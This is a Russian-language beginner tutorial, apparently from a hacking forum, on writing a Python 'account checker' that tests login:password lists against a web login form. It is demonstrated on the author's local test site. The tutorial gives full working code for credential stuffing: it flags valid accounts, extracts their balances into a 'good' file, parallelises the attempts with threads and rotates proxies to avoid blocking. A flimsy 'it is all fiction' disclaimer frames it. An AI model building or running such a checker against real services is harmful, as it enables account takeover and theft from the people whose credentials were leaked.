Пишем свой чекер аккаунтов на Python
⚠️ Дисклеймер
Статья написана с познавательной и ознакомительной целью, мы не призываем читателей к запрещенным законодательством действиям, а также не создаём пропаганду. Мы никого ни к чему не призываем! Вся информация представленная нами — это фантазия автора, выдумка, сон, вымысел. Данный материал не имеет ни какого отношения к реальности, все совпадения — случайность. Автор материала не несёт ответственности за ваши действия. Все персонажи и описываемые события являются вымышленными.
Итак, сегодня мы будем писать чекер аккаунтов. Чтобы не было никакой рекламы, писать чекер мы будем на свой сайт.
Внимание: этот гайд для новичков, если вы уже знаете как работать с requests, тут ничего полезного для вас не будет (наверное)
Что нам необходимо:
- Python 3 (Желательно последней версии) - скачать
- Редактор кода, например PyCharm, VS Code, Notepad++
- Свой сайт - скачать исходники, exe, VT
- Библиотека requests - pip install requests
- Минимальные знания Python и прямые руки
Для начала запускаем сервер, он нам даст адрес нашего сайта:
Переходим на сайт и видим форму входа
У нас есть 2 пользователя:
- admin:lzt
- user:user
Теперь мы можем начинать писать наш чекер, создаем новый файл с окончанием .py и добавляем нужный нам импорт:
import requests
База аккаунтов у нас будет в файле logins.txt, создаём её (не обязательно переписывать всё, просто добавьте аккаунты по вкусу):
Далее нам надо эту базу прочитать, для этого откроем файл через open:
file = open('logins.txt').read()Но это только прочитает файл, а нам надо ещё разделить аккаунты по строкам, для этого используем .split('\n'), который разделит файл:
Теперь переходим в браузер, я буду показывать на примере Google Chrome. Открываем наш сайт и нажимаем Ctrl + Shift + I, и переходим в вкладку Network, и нажимаем на флажок Preserve log
Далее вводим верный логин и пароль и нажимаем Войти, у нас во вкладке Network появится новый запрос
Нажимаем на него и видим такую картину
Смотрим в Request Headers, нас интересует Content-Type. У нас это application/x-www-form-urlencoded. Он может быть и application/json. Мы будем делать всё на примере application/x-www-form-urlencoded. JSON рассмотрим уже во второй части. Теперь смотрим в Form Data и видим поля login и password. Теперь мы можем приступить к написанию кода. Т.к. у нас POST запрос, мы будем использовать requests.post и ссылку из Request URL:
requests.post("http://127.0.0.1:5000/login")Далее нам надо передать наш логин и пароль, для этого добавляем после URL, data={}:
requests.post("http://127.0.0.1:5000/login", data={})Теперь в {} пишем поля из Form Data:
{'login': 'admin', 'password': 'lzt'}Для получения ответа сервера необходимо добавить .text в конец строки. В итоге:
requests.post("http://127.0.0.1:5000/login", data={'login': 'admin', 'password': 'lzt'}).textКидаем это всё в print и смотрим результат. Если вы всё сделали правильно, то будет такое:
Теперь мы можем добавить проверку на успешный вход и получение баланса:
login = requests.post("http://127.0.0.1:5000/login", data={'login': 'admin', 'password': 'lzt'}).text
# Проверяем верный ли пароль
if not "Не верный пароль" in login:
# Пароль верный, получаем баланс
balance = login.split("У Вас ")[1].split(" ")[0]
print(balance)
else:
# Пароль не верный
print("Не валидный аккаунт")
Итак, время проверять наши аккаунты! Для этого добавляем цикл перебора всех аккаунтов и с помощью .split(":") делим базу на логин и пароль. Добавляем наши переменные в запрос и добавляем выводы:
for account in file:
username = account.split(":")[0]
password = account.split(":")[1]
login = requests.post("http://127.0.0.1:5000/login", data={'login': username, 'password': password}).text
# Проверяем верный ли пароль
if not "Не верный пароль" in login:
# Пароль верный, получаем баланс
balance = login.split("У Вас ")[1].split(" ")[0]
print(f"Валидный аккаунт {account} с балансом {balance} рублей")
else:
# Пароль не верный
print(f"Не валидный аккаунт {account}")Запускаем и видим, что наши аккаунты прочекались:
Итоговый код
import requests
# Читаем
file = open('logins.txt').read().split('\n')
# Чекаем все аккаунты
for account in file:
username = account.split(":")[0]
password = account.split(":")[1]
login = requests.post("http://127.0.0.1:5000/login", data={'login': username, 'password': password}).text
# Проверяем верный ли пароль
if not "Не верный пароль" in login:
# Пароль верный, получаем баланс
balance = login.split("У Вас ")[1].split(" ")[0]
print(f"Валидный аккаунт {account} с балансом {balance} рублей")
else:
# Пароль не верный
print(f"Не валидный аккаунт {account}")Потоки
Чекер слишком долго проверяет аккаунты? Это время добавить потоки, которые будут проверять аккаунты не зависимо друг от друга. Для этого мы будем использовать библиотеку threading - она уже есть в Python. Добавляем её:
import threading
Теперь нам надо написать функцию проверки аккаунта, просто вносим весь код в неё:
def check(account):
username = account.split(":")[0]
password = account.split(":")[1]
login = requests.post("http://127.0.0.1:5000/login", data={'login': username, 'password': password}).text
# Проверяем верный ли пароль
if not "Не верный пароль" in login:
# Пароль верный, получаем баланс
balance = login.split("У Вас ")[1].split(" ")[0]
print(f"Валидный аккаунт {account} с балансом {balance} рублей")
else:
# Пароль не верный
print(f"Не валидный аккаунт {account}")
Теперь нам нужна функция для самого потока, которая будет брать аккаунт и проверять его:
def thread():
# Пока есть аккаунты
while file:
# Берём первый аккаунт из списка
to_check = file[0]
# Удаляем его из списка
file.remove(to_check)
try:
# Вызываем функцию проверки аккаунта
check(to_check)
except Exception as e:
# Если что-то пойдет не так, выведет ошибку
print("Ошибка:", e)
Добавляем переменную thread_count, в которой мы будем указывать количество потоков:
thread_count = 10
Итак, базу мы написали. Теперь можно писать запуск потоков:
# Запускаем thread_count потоков
for _ in range(thread_count):
# Создаем наш поток. В target передаем нашу функцию. ВНИМАНИЕ: Функцию надо указывать без (), иначе мы передадим не саму функцию, а её ответ.
t = threading.Thread(target=thread)
# Запускаем поток
t.start()Запускаем и смотрим как быстро отработал наш чекер
Итоговый код
import threading
import requests
# Читаем
file = open('logins.txt').read().split('\n')
thread_count = 10
def thread():
# Пока есть аккаунты
while file:
# Берём первый аккаунт из списка
to_check = file[0]
# Удаляем его из списка
file.remove(to_check)
try:
# Вызываем функцию проверки аккаунта
check(to_check)
except Exception as e:
# Если что-то пойдет не так, выведет ошибку
print("Ошибка:", e)
# Перебираем все аккаунты
def check(account):
username = account.split(":")[0]
password = account.split(":")[1]
login = requests.post("http://127.0.0.1:5000/login", data={'login': username, 'password': password}).text
# Проверяем верный ли пароль
if not "Не верный пароль" in login:
# Пароль верный, получаем баланс
balance = login.split("У Вас ")[1].split(" ")[0]
print(f"Валидный аккаунт {account} с балансом {balance} рублей")
else:
# Пароль не верный
print(f"Не валидный аккаунт {account}")
# Запускаем thread_count потоков
for _ in range(thread_count):
# Создаем наш поток. В target передаем нашу функцию. ВНИМАНИЕ: Функцию надо указывать без (), иначе мы передадим не саму функцию, а её ответ.
t = threading.Thread(target=thread)
# Запускаем поток
t.start()Запись в файл
Вывод в консоль не самый удобный метод. Надо писать валидные аккаунты в файл. Для этого мы будем использовать open(), но с некоторыми различиями. Чтобы открыть файл на запись нам нужен режим a+, где a - append (добавлять к файлу) и + - создание файла если его нет.
Пример:
open('файл', 'a+').write("текст")В нашем случае мы будем писать гуды в файл good.txt. Для этого, чтобы не открывать его кучу раз используем (не забывая в конце закрыть файл через .close()):
goods = open('good.txt', 'a+')Рядом с print пишем саму запись в файл:
goods.write(f"{account}:{balance}\n")\n в конце - это перенос строки в файле. Добавляем это рядом с print (или вместо его). Запускаем код и смотрим в файл good.txt:
Наши валидные аккаунты записались в файл
Итоговый код
import requests
# Читаем
file = open('logins.txt').read().split('\n')
goods = open('good.txt', 'a+')
# Чекаем все аккаунты
for account in file:
username = account.split(":")[0]
password = account.split(":")[1]
login = requests.post("http://127.0.0.1:5000/login", data={'login': username, 'password': password}).text
# Проверяем верный ли пароль
if not "Не верный пароль" in login:
# Пароль верный, получаем баланс
balance = login.split("У Вас ")[1].split(" ")[0]
goods.write(f"{account}:{balance}\n")
print(f"Валидный аккаунт {account} с балансом {balance} рублей")
else:
# Пароль не верный
print(f"Не валидный аккаунт {account}")# Заканчиваем запись файла
goods.close()
Прокси
Последняя тема, которую мы разберём в данном уроке - прокси. Чекер без прокси долго работать не будет. Читать прокси мы будем аналогично аккаунтам:
proxies = open('proxy.txt').read().split('\n')Прокси должны начинаться с протокола, например https:// или socks5://. Можно добавить протокол в сам код или прямо в файл с листом прокси. Выбираем рандомный прокси:
proxy = random.choice(proxies)
Чтобы использовать прокси в запросах, надо их передать. Добавляем после data={} запятую и пишем
proxies=dict(http=proxy, https=proxy)
random.choice выберет рандомный прокси из нашего списка. Его так-же надо импортировать:
import random
Чтобы работать с socks надо установить pysocks:
pip install pysocks
Внимание: если вы работаете с локальным сервером, прокси не будут работать. Выглядеть код должен примерно так:
requests.post("http://127.0.0.1:5000/login", data={'login': username, 'password': password}, proxies=dict(http=proxy, https=proxy)).textИтоговый код
import random
import requests
# Читаем
file = open('logins.txt').read().split('\n')
proxies = open('proxy.txt').read().split('\n')
# Чекаем все аккаунты
for account in file:
proxy = random.choice(proxies)
username = account.split(":")[0]
password = account.split(":")[1]
login = requests.post("http://127.0.0.1:5000/login", data={'login': username, 'password': password}, proxies=dict(http=proxy, https=proxy)).text
# Проверяем верный ли пароль
if not "Не верный пароль" in login:
# Пароль верный, получаем баланс
balance = login.split("У Вас ")[1].split(" ")[0]
print(f"Валидный аккаунт {account} с балансом {balance} рублей")
else:
# Пароль не верный
print(f"Не валидный аккаунт {account}")